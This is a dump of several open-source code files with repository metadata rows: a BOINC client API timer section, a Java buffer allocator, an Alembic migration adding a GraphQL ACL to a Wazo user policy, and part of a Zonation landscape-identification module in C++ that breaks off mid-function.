if (options.handle_trickle_downs) {
handle_trickle_down_msg();
}
if (options.handle_process_control) {
handle_process_control_msg();
}
}
if (interrupt_count % TIMERS_PER_SEC) return;
#ifdef DEBUG_BOINC_API
fprintf(stderr, "%s 1 sec elapsed - doing slow actions\n", boinc_msg_prefix(buf, sizeof(buf)));
#endif
// here if we're at a one-second boundary; do slow stuff
//
if (!ready_to_checkpoint) {
time_until_checkpoint -= 1;
if (time_until_checkpoint <= 0) {
ready_to_checkpoint = true;
}
}
// see if the core client has died, which means we need to die too
// (unless we're in a critical section)
//
if (in_critical_section==0 && options.check_heartbeat) {
if (client_dead()) {
fprintf(stderr, "%s timer handler: client dead, exiting\n",
boinc_msg_prefix(buf, sizeof(buf))
);
if (options.direct_process_action) {
exit_from_timer_thread(0);
} else {
boinc_status.no_heartbeat = true;
}
}
}
// don't bother reporting CPU time etc. if we're suspended
//
if (options.send_status_msgs && !boinc_status.suspended) {
double cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + initial_wu_cpu_time;
update_app_progress(last_wu_cpu_time, last_checkpoint_cpu_time);
}
if (options.handle_trickle_ups) {
send_trickle_up_msg();
}
if (timer_callback) {
timer_callback();
}
// send graphics-related messages
//
if (send_web_graphics_url && !app_client_shm->shm->graphics_reply.has_msg()) {
sprintf(buf,
"<web_graphics_url>%s</web_graphics_url>",
web_graphics_url
);
app_client_shm->shm->graphics_reply.send_msg(buf);
send_web_graphics_url = false;
}
if (send_remote_desktop_addr && !app_client_shm->shm->graphics_reply.has_msg()) {
sprintf(buf,
"<remote_desktop_addr>%s</remote_desktop_addr>",
remote_desktop_addr
);
app_client_shm->shm->graphics_reply.send_msg(buf);
send_remote_desktop_addr = false;
}
}
#ifdef _WIN32
DWORD WINAPI timer_thread(void *) {
while (1) {
Sleep((int)(TIMER_PERIOD*1000));
timer_handler();
// poor man's CPU time accounting for Win9x
//
if (!boinc_status.suspended) {
nrunning_ticks++;
}
}
return 0;
}
#else
static void* timer_thread(void*) {
block_sigalrm();
while(1) {
boinc_sleep(TIMER_PERIOD);
timer_handler();
}
return 0;
}
// This SIGALRM handler gets handled only by the worker thread.
// It gets CPU time and implements sleeping.
// It must call only signal-safe functions, and must not do FP math
//
static void worker_signal_handler(int) {
#ifndef GETRUSAGE_IN_TIMER_THREAD
getrusage(RUSAGE_SELF, &worker_thread_ru);
#endif
if (worker_thread_exit_flag) {
boinc_exit(worker_thread_exit_status);
}
if (options.direct_process_action) {
while (boinc_status.suspended && in_critical_section==0) {
#ifdef ANDROID
// per-thread signal masking doesn't work
// on old (pre-4.1) versions of Android.
// If we're handling this signal in the timer thread,
// send signal explicitly to worker thread.
//
if (pthread_self() == timer_thread_handle) {
pthread_kill(worker_thread_handle, SIGALRM);
return;
}
#endif
sleep(1); // don't use boinc_sleep() because it does FP math
}
}
}
#endif
// Called from the worker thread; create the timer thread
//
int start_timer_thread() {
char buf[256];
#ifdef _WIN32
// get the worker thread handle
//
DuplicateHandle(
GetCurrentProcess(),
GetCurrentThread(),
GetCurrentProcess(),
&worker_thread_handle,
0,
FALSE,
DUPLICATE_SAME_ACCESS
);
// Create the timer thread
//
if (!CreateThread(NULL, 0, timer_thread, 0, 0, &timer_thread_id)) {
fprintf(stderr,
"%s start_timer_thread(): CreateThread() failed, errno %d\n",
boinc_msg_prefix(buf, sizeof(buf)), errno
);
return errno;
}
if (!options.normal_thread_priority) {
// lower our (worker thread) priority
//
SetThreadPriority(worker_thread_handle, THREAD_PRIORITY_IDLE);
}
#else
worker_thread_handle = pthread_self();
pthread_attr_t thread_attrs;
pthread_attr_init(&thread_attrs);
pthread_attr_setstacksize(&thread_attrs, 32768);
int retval = pthread_create(&timer_thread_handle, &thread_attrs, timer_thread, NULL);
if (retval) {
fprintf(stderr,
"%s start_timer_thread(): pthread_create(): %d",
boinc_msg_prefix(buf, sizeof(buf)), retval
);
return retval;
}
#endif
return 0;
}
#ifndef _WIN32
// set up a periodic SIGALRM, to be handled by the worker thread
//
static int start_worker_signals() {
int retval;
struct sigaction sa;
itimerval value;
sa.sa_handler = worker_signal_handler;
sa.sa_flags = SA_RESTART;
sigemptyset(&sa.sa_mask);
retval = sigaction(SIGALRM, &sa, NULL);
if (retval) {
perror("boinc start_timer_thread() sigaction");
return retval;
}
value.it_value.tv_sec = 0;
value.it_value.tv_usec = (int)(TIMER_PERIOD*1e6);
value.it_interval = value.it_value;
retval = setitimer(ITIMER_REAL, &value, NULL);
if (retval) {
perror("boinc start_timer_thread() setitimer");
return retval;
}
return 0;
}
#endif
int boinc_send_trickle_up(char* variety, char* p) {
if (!options.handle_trickle_ups) return ERR_NO_OPTION;
FILE* f = boinc_fopen(TRICKLE_UP_FILENAME, "wb");
if (!f) return ERR_FOPEN;
fprintf(f, "<variety>%s</variety>\n", variety);
size_t n = fwrite(p, strlen(p), 1, f);
fclose(f);
if (n != 1) return ERR_WRITE;
have_new_trickle_up = true;
return 0;
}
int boinc_time_to_checkpoint() {
if (ready_to_checkpoint) {
boinc_begin_critical_section();
return 1;
}
return 0;
}
int boinc_checkpoint_completed() {
double cur_cpu;
cur_cpu = boinc_worker_thread_cpu_time();
last_wu_cpu_time = cur_cpu + aid.wu_cpu_time;
last_checkpoint_cpu_time = last_wu_cpu_time;
time_until_checkpoint = min_checkpoint_period();
boinc_end_critical_section();
ready_to_checkpoint = false;
return 0;
}
void boinc_begin_critical_section() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr,
"%s begin_critical_section\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
in_critical_section++;
}
void boinc_end_critical_section() {
#ifdef DEBUG_BOINC_API
char buf[256];
fprintf(stderr,
"%s end_critical_section\n",
boinc_msg_prefix(buf, sizeof(buf))
);
#endif
in_critical_section--;
if (in_critical_section < 0) {
in_critical_section = 0; // just in case
}
if (in_critical_section) return;
// We're out of the critical section.
// See if we got suspend/quit/abort while in critical section,
// and handle them here.
//
if (boinc_status.quit_request) {
boinc_exit(0);
}
if (boinc_status.abort_request) {
boinc_exit(EXIT_ABORTED_BY_CLIENT);
}
if (options.direct_process_action) {
acquire_mutex();
if (suspend_request) {
suspend_request = false;
boinc_status.suspended = true;
release_mutex();
suspend_activities(true);
} else {
release_mutex();
}
}
}
int boinc_fraction_done(double x) {
fraction_done = x;
return 0;
}
int boinc_receive_trickle_down(char* buf, int len) {
std::string filename;
char path[MAXPATHLEN];
if (!options.handle_trickle_downs) return false;
if (have_trickle_down) {
relative_to_absolute("", path);
DirScanner dirscan(path);
while (dirscan.scan(filename)) {
if (strstr(filename.c_str(), "trickle_down")) {
strncpy(buf, filename.c_str(), len);
return true;
}
}
have_trickle_down = false;
}
return false;
}
int boinc_upload_file(std::string& name) {
char buf[256];
std::string pname;
int retval;
retval = boinc_resolve_filename_s(name.c_str(), pname);
if (retval) return retval;
sprintf(buf, "%s%s", UPLOAD_FILE_REQ_PREFIX, name.c_str());
FILE* f = boinc_fopen(buf, "w");
if (!f) return ERR_FOPEN;
have_new_upload_file = true;
fclose(f);
return 0;
}
int boinc_upload_status(std::string& name) {
for (unsigned int i=0; i<upload_file_status.size(); i++) {
UPLOAD_FILE_STATUS& ufs = upload_file_status[i];
if (ufs.name == name) {
return ufs.status;
}
}
return ERR_NOT_FOUND;
}
void boinc_need_network() {
want_network = 1;
have_network = 0;
}
int boinc_network_poll() {
return have_network?0:1;
}
void boinc_network_done() {
want_network = 0;
}
#ifndef _WIN32
// block SIGALRM, so that the worker thread will be forced to handle it
//
static void block_sigalrm() {
sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGALRM);
pthread_sigmask(SIG_BLOCK, &mask, NULL);
}
#endif
void boinc_register_timer_callback(FUNC_PTR p) {
timer_callback = p;
}
double boinc_get_fraction_done() {
return fraction_done;
}
double boinc_elapsed_time() {
return running_interrupt_count*TIMER_PERIOD;
}
void boinc_web_graphics_url(char* url) {
if (standalone) return;
strlcpy(web_graphics_url, url, sizeof(web_graphics_url));
send_web_graphics_url = true;
}
void boinc_remote_desktop_addr(char* addr) {
if (standalone) return;
strlcpy(remote_desktop_addr, addr, sizeof(remote_desktop_addr));
send_remote_desktop_addr = true;
}
| hanxue/Boinc | api/boinc_api.cpp | C++ | gpl-3.0 | 44,618 |
/*
* BufferAllocator.java February 2001
*
* Copyright (C) 2001, Niall Gallagher <[email protected]>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.util.buffer;
import java.io.IOException;
import java.io.InputStream;
/**
* The <code>BufferAllocator</code> object is used to provide a means to
* allocate buffers using a single underlying buffer. This uses a buffer from a
* existing allocator to create the region of memory to use to allocate all
* other buffers. As a result this allows a single buffer to acquire the bytes
* in a number of associated buffers. This has the advantage of allowing bytes
* to be read in sequence without joining data from other buffers or allocating
* multiple regions.
*
* @author Niall Gallagher
*/
public class BufferAllocator extends FilterAllocator implements Buffer {
/**
* This is the underlying buffer all other buffers are within.
*/
private Buffer buffer;
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a default buffer size of half a kilobyte.
* This ensures that it can be used for general purpose byte storage and for
* minor I/O tasks.
*
* @param source
* this is where the underlying buffer is allocated
*/
public BufferAllocator(Allocator source) {
super(source);
}
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a specified buffer size. This is typically
* used when a very specific buffer capacity is required, for example a
* request body with a known length.
*
* @param source
* this is where the underlying buffer is allocated
* @param capacity
* the initial capacity of the allocated buffers
*/
public BufferAllocator(Allocator source, long capacity) {
super(source, capacity);
}
/**
* Constructor for the <code>BufferAllocator</code> object. This is used to
* instantiate the allocator with a specified buffer size. This is typically
* used when a very specific buffer capacity is required, for example a
* request body with a known length.
*
* @param source
* this is where the underlying buffer is allocated
* @param capacity
* the initial capacity of the allocated buffers
* @param limit
* this is the maximum buffer size created by this
*/
public BufferAllocator(Allocator source, long capacity, long limit) {
super(source, capacity, limit);
}
/**
* This method is used so that a buffer can be represented as a stream of
* bytes. This provides a quick means to access the data that has been
* written to the buffer. It wraps the buffer within an input stream so that
* it can be read directly.
*
* @return a stream that can be used to read the buffered bytes
*/
@Override
public InputStream getInputStream() throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.getInputStream();
}
/**
* This method is used to acquire the buffered bytes as a string. This is
* useful if the contents need to be manipulated as a string or transferred
* into another encoding. If the UTF-8 content encoding is not supported the
* platform default is used, however this is unlikely as UTF-8 should be
* supported.
*
* @return this returns a UTF-8 encoding of the buffer contents
*/
@Override
public String encode() throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.encode();
}
/**
* This method is used to acquire the buffered bytes as a string. This is
* useful if the contents need to be manipulated as a string or transferred
* into another encoding. This will convert the bytes using the specified
* character encoding format.
*
* @return this returns the encoding of the buffer contents
*/
@Override
public String encode(String charset) throws IOException {
if (this.buffer == null) {
this.allocate();
}
return this.buffer.encode(charset);
}
/**
* This method is used to append bytes to the end of the buffer. This will
* expand the capacity of the buffer if there is not enough space to
* accommodate the extra bytes.
*
* @param array
* this is the byte array to append to this buffer
*
* @return this returns this buffer for another operation
*/
@Override
public Buffer append(byte[] array) throws IOException {
return this.append(array, 0, array.length);
}
/**
* This method is used to append bytes to the end of the buffer. This will
* expand the capacity of the buffer if there is not enough space to
* accommodate the extra bytes.
*
* @param array
* this is the byte array to append to this buffer
* @param size
* the number of bytes to be read from the array
* @param off
* this is the offset to begin reading the bytes from
*
* @return this returns this buffer for another operation
*/
@Override
public Buffer append(byte[] array, int off, int size) throws IOException {
if (this.buffer == null) {
this.allocate(size);
}
return this.buffer.append(array, off, size);
}
/**
* This will clear all data from the buffer. This simply sets the count to
* be zero, it will not clear the memory occupied by the instance as the
* internal buffer will remain. This allows the memory occupied to be reused
* as many times as is required.
*/
@Override
public void clear() throws IOException {
if (this.buffer != null) {
this.buffer.clear();
}
}
/**
* This method is used to ensure the buffer can be closed. Once the buffer
* is closed it is an immutable collection of bytes and can not longer be
* modified. This ensures that it can be passed by value without the risk of
* modification of the bytes.
*/
@Override
public void close() throws IOException {
if (this.buffer == null) {
this.allocate();
}
this.buffer.close();
}
/**
* This method is used to allocate a default buffer. This will allocate a
* buffer of predetermined size, allowing it to grow to an upper limit to
* accommodate extra data. If the buffer requested is larger than the limit
* an exception is thrown.
*
* @return this returns an allocated buffer with a default size
*/
@Override
public Buffer allocate() throws IOException {
return this.allocate(this.capacity);
}
/**
* This method is used to allocate a default buffer. This will allocate a
* buffer of predetermined size, allowing it to grow to an upper limit to
* accommodate extra data. If the buffer requested is larger than the limit
* an exception is thrown.
*
* @param size
* the initial capacity of the allocated buffer
*
* @return this returns an allocated buffer with a default size
*/
@Override
public Buffer allocate(long size) throws IOException {
if (size > this.limit)
throw new BufferException("Specified size %s beyond limit", size);
if (this.capacity > size) { // lazily create backing buffer
size = this.capacity;
}
if (this.buffer == null) {
this.buffer = this.source.allocate(size);
}
return this.buffer.allocate();
}
}
| TehSomeLuigi/someluigis-peripherals | slp_common/org/simpleframework/util/buffer/BufferAllocator.java | Java | gpl-3.0 | 8,448 |
"""add graphql ACL to users
Revision ID: 2d4882d39dbb
Revises: c4d0e9ec46a9
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '2d4882d39dbb'
down_revision = 'dc2848563b53'
POLICY_NAME = 'wazo_default_user_policy'
ACL_TEMPLATES = ['dird.graphql.me']
policy_table = sa.sql.table(
'auth_policy', sa.Column('uuid', sa.String(38)), sa.Column('name', sa.String(80))
)
acl_template_table = sa.sql.table(
'auth_acl_template', sa.Column('id', sa.Integer), sa.Column('template', sa.Text)
)
policy_template = sa.sql.table(
'auth_policy_template',
sa.Column('policy_uuid', sa.String(38)),
sa.Column('template_id', sa.Integer),
)
def _find_acl_template(conn, acl_template):
query = (
sa.sql.select([acl_template_table.c.id])
.where(acl_template_table.c.template == acl_template)
.limit(1)
)
return conn.execute(query).scalar()
def _find_acl_templates(conn, acl_templates):
acl_template_ids = []
for acl_template in acl_templates:
acl_template_id = _find_acl_template(conn, acl_template)
if acl_template_id:
acl_template_ids.append(acl_template_id)
return acl_template_ids
def _get_policy_uuid(conn, policy_name):
policy_query = sa.sql.select([policy_table.c.uuid]).where(
policy_table.c.name == policy_name
)
for policy in conn.execute(policy_query).fetchall():
return policy[0]
def _insert_acl_template(conn, acl_templates):
acl_template_ids = []
for acl_template in acl_templates:
acl_template_id = _find_acl_template(conn, acl_template)
if not acl_template_id:
query = (
acl_template_table.insert()
.returning(acl_template_table.c.id)
.values(template=acl_template)
)
acl_template_id = conn.execute(query).scalar()
acl_template_ids.append(acl_template_id)
return acl_template_ids
def _get_acl_template_ids(conn, policy_uuid):
query = sa.sql.select([policy_template.c.template_id]).where(
policy_template.c.policy_uuid == policy_uuid
)
return [acl_template_id for (acl_template_id,) in conn.execute(query).fetchall()]
def upgrade():
conn = op.get_bind()
policy_uuid = _get_policy_uuid(conn, POLICY_NAME)
if not policy_uuid:
return
acl_template_ids = _insert_acl_template(conn, ACL_TEMPLATES)
acl_template_ids_already_associated = _get_acl_template_ids(conn, policy_uuid)
for template_id in set(acl_template_ids) - set(acl_template_ids_already_associated):
query = policy_template.insert().values(
policy_uuid=policy_uuid, template_id=template_id
)
conn.execute(query)
def downgrade():
conn = op.get_bind()
acl_template_ids = _find_acl_templates(conn, ACL_TEMPLATES)
if not acl_template_ids:
return
policy_uuid = _get_policy_uuid(conn, POLICY_NAME)
if not policy_uuid:
return
delete_query = policy_template.delete().where(
sa.sql.and_(
policy_template.c.policy_uuid == policy_uuid,
policy_template.c.template_id.in_(acl_template_ids),
)
)
op.execute(delete_query)
| wazo-pbx/xivo-auth | alembic/versions/2d4882d39dbb_add_graphql_acl_to_users.py | Python | gpl-3.0 | 3,250 |
#include "VCL.h"
#include "Unit1.h"
#include "GridMap.h"
#include "defines.h"
#include "matrix_utils.h"
#include "bat_run.h"
#include "LoadData.h"
#include <cstdio>
#include <ctime>
#include <cstring>
#include <cmath>
// special LSM mode with "-1 distance" = no aggregation of spots, just statistics per unit
bool LSM_minus1_mode = false;
float top_percent, min_percent, max_dist, min_simil;
String LSIRfn, LSIDfn, LSImask;
int spot_cnt, nwc, ccnt;
int **cm=0, **nwm, nwns_cnt;
std::vector<struct spot> spots;
std::vector<int> s_in_nw;
std::vector<bool> nw_in_min;
std::vector<float> Ebd;
class GridMap LSI_maskmap;
void get_candidate_cells()
{
float val_th;
int x, y;
val_th = 1.0f-top_percent;
ccnt=0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (sol[y][x]>=val_th)
{
cm[y][x]=0;
ccnt++;
}
else
cm[y][x]=-1;
}
}
Form1->Memo1->Lines->Add("Potential cells count = "+IntToStr(ccnt));
}
bool nb_in_s(int x, int y, int s)
{
int minx, miny, maxx, maxy, gx,gy;
minx=max(0, x-1);
miny=max(0, y-1);
maxx=min(xd,x+1);
maxy=min(yd,y+1);
for(gy=miny; gy<=maxy; gy++)
{
for(gx=minx; gx<=maxx; gx++)
if (cm[gy][gx]==s)
return true;
}
return false;
}
bool add_to_spot(int s)
{
int minx, maxx, miny, maxy, x, y, loop;
bool added;
float val, *rowp;
minx=max(0, spots[s].min_gx-1);
miny=max(0, spots[s].min_gy-1);
maxx=min(xd,spots[s].max_gx+1);
maxy=min(yd,spots[s].max_gy+1);
added=false;
for(y=miny; y<=maxy; y++)
{
for(x=minx; x<=maxx; x++)
{
// if (cm[y][x]==0)
if ((cm[y][x]!=s) && (cm[y][x]!=-1))
{
// Form1->Memo1->Lines->Add("HERE");
if (nb_in_s(x,y,s))
{
// Form1->Memo1->Lines->Add("YES");
cm[y][x]=s;
spots[s].area++;
spots[s].rank += sol[y][x];
spots[s].mean_gx += x;
spots[s].mean_gy += y;
spots[s].min_gx=min(spots[s].min_gx, x);
spots[s].min_gy=min(spots[s].min_gy, y);
spots[s].max_gx=max(spots[s].max_gx, x);
spots[s].max_gy=max(spots[s].max_gy, y);
if (sol[y][x]>(1.0f-min_percent))
spots[s].in_min_percent=true;
// rowp=&vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
for(loop=0; loop<map_cnt; loop++)
{
//std::cerr << "rowp: " << rowp.size() << std::endl;
val = rowp[loop];
if (val!=-1)
spots[s].bdv[loop] += val;
// else
// spots[s].bdv[loop] = 0.0f;
}
added=true;
}
}
}
}
return added;
}
void expand_spot(int x, int y)
{
bool added;
int loop;
spots[spot_cnt].bdv = 0;
spots[spot_cnt].min_gx = x;
spots[spot_cnt].min_gy = y;
spots[spot_cnt].max_gx = x;
spots[spot_cnt].max_gy = y;
spots[spot_cnt].mean_gx = static_cast<float>(x);
spots[spot_cnt].mean_gy = static_cast<float>(y);
spots[spot_cnt].area = 1;
spots[spot_cnt].rank = sol[y][x];
if (sol[y][x]>=(1.0f-min_percent))
spots[spot_cnt].in_min_percent=true;
else
spots[spot_cnt].in_min_percent=false;
spots[spot_cnt].bdv = new float[map_cnt];
for(loop=0; loop<map_cnt; loop++)
spots[spot_cnt].bdv[loop] =0.0f;
cm[y][x]=spot_cnt;
do {
added = add_to_spot(spot_cnt);
Application->ProcessMessages();
} while(added);
#if 0
char txt[255];
sprintf(txt,"Spot %i A=%i Xmin=%i xmax=%i ymin=%i ymax=%i mean-x=%0.3f mean-y=%0.3f",
spot_cnt, spots[spot_cnt].area, spots[spot_cnt].min_gx,
spots[spot_cnt].max_gx, spots[spot_cnt].min_gy,
spots[spot_cnt].max_gy,
spots[spot_cnt].mean_gx, spots[spot_cnt].mean_gy);
// if ((spot_cnt%10)==0)
Form1->Memo1->Lines->Add(txt);
#endif
}
void get_spots()
{
float val_th;
int x, y, in_cnt;
spot_cnt=1;
const size_t DEF_MAX_SPOTS = 2048;
spots.reserve(DEF_MAX_SPOTS);
try {
spots.resize(spot_cnt+1);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
in_cnt =0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (cm[y][x]==0)
{
Application->ProcessMessages();
expand_spot(x,y);
if (spots[spot_cnt].in_min_percent)
in_cnt++;
// Form1->Memo1->Lines->Add("New spot, area = "
// +IntToStr(spots[spot_cnt].area));
spot_cnt++;
spots.resize(spots.size()+1);
if ((spot_cnt%1000)==0)
Form1->Memo1->Lines->Add("Spot count = "+IntToStr(spot_cnt-1));
}
}
}
Form1->Memo1->Lines->Add("Spot count = "+IntToStr(spot_cnt-1));
Form1->Memo1->Lines->Add("Spots including best areas count = "+IntToStr(in_cnt));
}
float calc_dist(int s1, int s2)
{
float dij, dx, dy, dm2;
float minx1, minx2, maxx1, maxx2, miny1, miny2, maxy1, maxy2;
int x1, x2, y1, y2;
dm2 = max_dist*max_dist;
if (dm2==0)
return (max_dist+1.0f); // with zero dist, separate spots cannot be joined
minx1=static_cast<float>(spots[s1].min_gx);
maxx1=static_cast<float>(spots[s1].max_gx);
miny1=static_cast<float>(spots[s1].min_gy);
maxy1=static_cast<float>(spots[s1].max_gy);
minx2=static_cast<float>(spots[s2].min_gx);
maxx2=static_cast<float>(spots[s2].max_gx);
miny2=static_cast<float>(spots[s2].min_gy);
maxy2=static_cast<float>(spots[s2].max_gy);
// Form1->Memo1->Lines->Add("corners");
// sprintf(txt, "minx1=%f maxx1=%f miny1=%f maxy1=%f", minx1, maxx1, miny1, maxy1);
// Form1->Memo1->Lines->Add(txt);
// sprintf(txt, "minx2=%f maxx2=%f miny2=%f maxy2=%f", minx2, maxx2, miny2, maxy2);
// Form1->Memo1->Lines->Add(txt);
// Form1->Memo1->Lines->Add("yxxxvc");
if (minx1>(maxx2+max_dist))
return (max_dist+1.0f);
if (minx2>(maxx1+max_dist))
return (max_dist+1.0f);
if (miny1>(maxy2+max_dist))
return (max_dist+1.0f);
if (miny2>(maxy1+max_dist))
return (max_dist+1.0f);
// Form1->Memo1->Lines->Add("here");
for(y1=static_cast<int>(miny1); y1<=maxy1;y1++)
for(x1=static_cast<int>(minx1); x1<=maxx1;x1++)
{
// Form1->Memo1->Lines->Add("y1loop"+IntToStr(y1));
if (cm[y1][x1]==s1)
{
for(y2=static_cast<int>(miny2); y2<=maxy2;y2++)
for(x2=static_cast<int>(minx2); x2<=maxx2;x2++) // xxx stuck in this loop.
{
if (cm[y2][x2]==s2)
{
dij = z_pow(x1-x2,2)+z_pow(y1-y2,2);
if (dij<=dm2)
return 0.0f;
}
}
}
}
return (max_dist+1.0f);
}
float calc_sim(int s1, int s2)
{
int loop, s, lvl1, lvl2;
float diff, val;
diff=0.0f;
for(loop=0; loop<map_cnt; loop++)
{
val = spots[s1].bdv[loop];
if (val<0.01f*Ebd[loop])
lvl1=0;
else if (val<0.1f*Ebd[loop])
lvl1=1;
else if (val<Ebd[loop])
lvl1=2;
else if (val<10*Ebd[loop])
lvl1=3;
else if (val<100*Ebd[loop])
lvl1=4;
else
lvl1=5;
val = spots[s2].bdv[loop];
if (val<0.01f*Ebd[loop])
lvl2=0;
else if (val<0.1f*Ebd[loop])
lvl2=1;
else if (val<Ebd[loop])
lvl2=2;
else if (val<10*Ebd[loop])
lvl2=3;
else if (val<100*Ebd[loop])
lvl2=4;
else
lvl2=5;
diff += fabs(lvl1-lvl2);
}
diff/=map_cnt;
return diff;
}
void add_nb_to_nw(int spot)
{
int loop;
float dist, diff;
for(loop=1; loop<spot_cnt; loop++)
{
// Form1->Memo1->Lines->Add("spot = "+IntToStr(loop));
if (spots[loop].nwn==-1)
{
// Form1->Memo1->Lines->Add("dist next");
dist = calc_dist(spot, loop);
// Form1->Memo1->Lines->Add("sim next");
diff = calc_sim(spot, loop);
if ((dist<=max_dist) && (diff<min_simil))
{
spots[loop].nwn = nwc;
nw_in_min[nwc] = (nw_in_min[nwc] || spots[loop].in_min_percent);
s_in_nw[nwns_cnt] = loop;
nwns_cnt++;
// Form1->Memo1->Lines->Add("joined");
}
}
}
}
void expand_network(int s)
{
int pos;
spots[s].nwn = nwc;
nwns_cnt = 1;
s_in_nw[0] = s;
nw_in_min[nwc] = (nw_in_min[nwc] || spots[s].in_min_percent);
pos=0;
while(pos<nwns_cnt)
{
// Form1->Memo1->Lines->Add("pos="+IntToStr(pos));
add_nb_to_nw(s_in_nw[pos]);
pos++;
}
}
void Fix_bd_values()
{
int loop, s;
for(loop=0; loop<map_cnt; loop++)
Ebd[loop]=0.0f;
for(s=1;s<spot_cnt;s++)
{
for(loop=0; loop<map_cnt; loop++)
{
Ebd[loop] += spots[s].bdv[loop];
spots[s].bdv[loop] /= spots[s].area;
}
}
for(loop=0; loop<map_cnt; loop++)
Ebd[loop] /= ccnt; // Ebd[loop]=average over cells in cut
}
void get_networks()
{
int loop, x, y, cilcnt;
/*
const size_t DEF_MAX_NW = 2048;
nw_in_min.reserve(DEF_MAX_NW);
nw_in_min.assign(2, false);
*/
// get_networks always called after get_spots() -> spot_cnt known
try {
s_in_nw.resize(spot_cnt, 0);
Ebd.resize(map_cnt, 0);
nw_in_min.resize(spot_cnt+1, false);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
nwc = 1; // xxx
for(loop=0; loop<spot_cnt; loop++) {
spots[loop].nwn=-1;
}
// uses Ebd[]
Fix_bd_values();
for(loop=1; loop<spot_cnt; loop++)
{
if ((spots[loop].nwn==-1) && (spots[loop].in_min_percent))
{
// Form1->Memo1->Lines->Add(IntToStr(loop));
expand_network(loop);
nwc++;
nw_in_min.push_back(false);
}
}
for(y=0; y<yd; y++) {
for(x=0; x<xd; x++) {
if (false && cm[y][x] >0 && spots[cm[y][x]].nwn >= nw_in_min.size()) {
Form1->Memo1->Lines->Add("SEGFAUUUUUUUUUUUUUUUUUULT, cm: "+ IntToStr(cm[y][x]));
Form1->Memo1->Lines->Add("SEGFAUUUUUUUUUUUUUUUUUULT, cm: "+ IntToStr(cm[y][x]) + ", spots:"+IntToStr(spots[cm[y][x]].nwn));
}
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
nwm[y][x]=-1;
else if (cm[y][x]==0)
nwm[y][x]=-2;
else if (cm[y][x]==-1)
nwm[y][x]=-2;
// the -1== check is critical, or likely segfault!
else if ((cm[y][x]>0) && (-1==spots[cm[y][x]].nwn || (!nw_in_min[spots[cm[y][x]].nwn])))
nwm[y][x]=-2;
else
nwm[y][x]=spots[cm[y][x]].nwn; // xxx error
}
}
Form1->Memo1->Lines->Add("Found networks count = "+IntToStr(nwc-1));
std::vector<float> spdat;
try {
spdat.resize(map_cnt, 0.0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
cilcnt=0;
for(y=0; y<yd; y++) {
for(x=0; x<xd; x++) {
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
continue;
if (nwm[y][x]>0) {
// rowp=&vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
//for(loop=0;loop<map_cnt;loop++)
for(loop=rowp.first(); loop!=rowp.overflow(); loop=rowp.next(loop)) {
if (rowp[loop]>0.0f)
spdat[loop] += rowp[loop];
}
cilcnt++;
}
}
}
Form1->Memo1->Lines->Add("Cells in classified landscapes = "+IntToStr(cilcnt));
const size_t MAX_STR_LEN = 512;
char txt[MAX_STR_LEN];
for(loop=0;loop<map_cnt;loop++)
{
sprintf(txt, "%-6.3f %-5.3f %s\n", spp[loop].weight, spdat[loop], spp[loop].fname.toUtf8().constData());
Form1->Memo1->Lines->Add(txt);
}
}
// Gets statistics for units specified in the PPA mask,
// so networks will actually be the units
// all the nwarea, nwx, nwy, nwrank are aggregated (not normalized) and will be divided by nwarea[] later on
void
get_fake_networks_from_mask(std::vector<int>& nwarea, std::vector<float>& nwx, std::vector<float>& nwy,
std::vector<float>& nwrank, float**& mat)
{
// max_val pre-calculated in load_from_file...
spot_cnt = (int)LSI_maskmap.max_val+1;
try {
spots.resize(spot_cnt);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
/*
// Init to 0. units have numbers >=1
for (size_t i=0; i<spot_cnt; i++)
spots[i].num = 0;
// Find used unit numbers. Use the array spots[].num
// for the unit numbers
for (size_t y=0; y<yd; y++) {
for (size_t x=0; x<xd; x++) {
// make sure the mask doesn't include "missing" cells
if (sol[y][x] < 0.0f)
continue;
int unit_idx = LSI_maskmap.m[y][x];
if (unit_idx > 0 && unit_idx <= spots.size())
if (0==spots[unit_idx].num)
spots[unit_idx].num++;
}
}
// unit numbers actually used in the LSI analysis mask
std::vector<int> unit_nums;
nwc = 0;
for (size_t i=0; i<spot_cnt; i++) {
if (0 < spots[i].num) {
nwc++; // nwc is global
unit_nums.push_back(i);
}
}
nwc++; // yes, it is number of networks/units +1
*/
// bypass the 2 loops above. Use as many networks as the biggest number in the planning
// units layer/mask. This avoids crashes if non-consecutive numbers are used.
nwc = spot_cnt;
try {
nwarea.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwx.resize(nwc+1, 0);
nwy.resize(nwc+1, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
